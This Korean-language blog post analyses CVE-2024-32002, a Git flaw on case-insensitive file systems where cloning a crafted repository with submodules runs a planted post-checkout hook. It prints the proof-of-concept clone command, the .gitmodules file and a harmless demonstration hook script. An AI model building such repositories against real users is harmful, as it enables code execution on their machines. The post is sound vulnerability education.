CVE-2024-32002 Exploiting Git RCE via git clone
git clone 명령만으로 RCE 취약점이 발생한다..?
Details
Git의 git clone 기능에는 저장소의 하위 모듈(submodule)을 재귀적으로 함께 클론하는 --recursive
옵션이 포함되어 있다. 또한, Git은 심볼릭 링크(Symbolic Link)를 지원하여, 이를 통해 저장소의 다른 부분을 참조할 수 있다. 이 취약점은 대소문자를 구분하지 않는 파일 시스템 (Windows, MacOS)에서 발생한다.
Affected Versions
- v2.45.0
- v2.44.0
- <= v2.43.3
- <= v2.42.1
- v2.41.0
- <= v2.40.1
- <= v2.39.3
PoC
⚠️ Warning: 해당 PoC 실행 시 반드시 허가받은 시스템에서만 수행해야 한다.
환경 구축의 제한사항과 편의를 고려하여 이미 만들어진 PoC를 테스트하였다.
- Git을 사용해 git_rce라는 이름의 원격 Repository를 클론하는 동시에, 서브모듈을 함께 클론한다.
1
git clone --recursive git@github.com:amalmurali47/git_rce.git
- 아래 파일은 Git Repository에서 서브모듈을 추가할 때 사용되는 .gitmodules 구성 파일이다.
- Git이 서브모듈을 클론할 때, 현재 로컬 Repository 루트 경로에 A/modules/x 폴더가 생성되며 url에 지정된 원격 Repository의 악성 후크 파일이 A/modules/x에 클론될 것이다.
1 2 3
[submodule "x/y"] path = A/modules/x # Local path for the submodule url = git@github.com:amalmurali47/hook.git # Remote repository URL
- 위 서브모듈 url은 https://github.com/amalmurali47/hook 저장소를 가리키고 있으며 해당 저장소에는 hook/post-checkout 경로에는 공격자가 의도한 악성 스크립트가 작성되어 있다.
1 2 3 4
#!/bin/bash echo "amal_was_here" > /tmp/pwnd calc.exe open -a Calculator.app
How It Works
- 특수 경로의 심볼릭 링크 설정
- 공격자는 .git을 가리키는 심볼릭 링크를 저장소 안에 생성하고, 이 링크의 이름을 a로 설정한다.
- 서브모듈의 경로는 대소문자를 변형하여 설정되며, 이는 대소문자 구분을 하지 않는 파일 시스템(Windows, Mac)의 취약점을 겨냥한다.
- 서브모듈 경로 충돌 유도
- Git은 서브모듈을 A/modules/x 경로에 클론하려고 시도하지만, 대소문자 구분이 없는 파일 시스템에서 A와 a가 동일하게 인식된다.
- 경로 우회로 악성 후크 위치 설정
- 결과적으로 Git은 서브모듈의 후크 스크립트를 .git/hooks 아래에 배치하게 된다.
- 이 후크는 공격자의 명령이 포함되어 사용자의 시스템에서 RCE가 발생하게 된다.
따라서, 사용자가 단순히 해당 Repository를 클론하기만 해도 공격자가 의도한 악성 코드가 실행될 수 있다. 해당 취약점은 Git의 core.sysmlinks 기능이 활성화된 Windows와 MacOS에 취약하다.
Reference
https://github.com/amalmurali47/git_rce
https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
https://amalmurali.me/posts/git-rce/
This post is licensed under CC BY 4.0 by the author.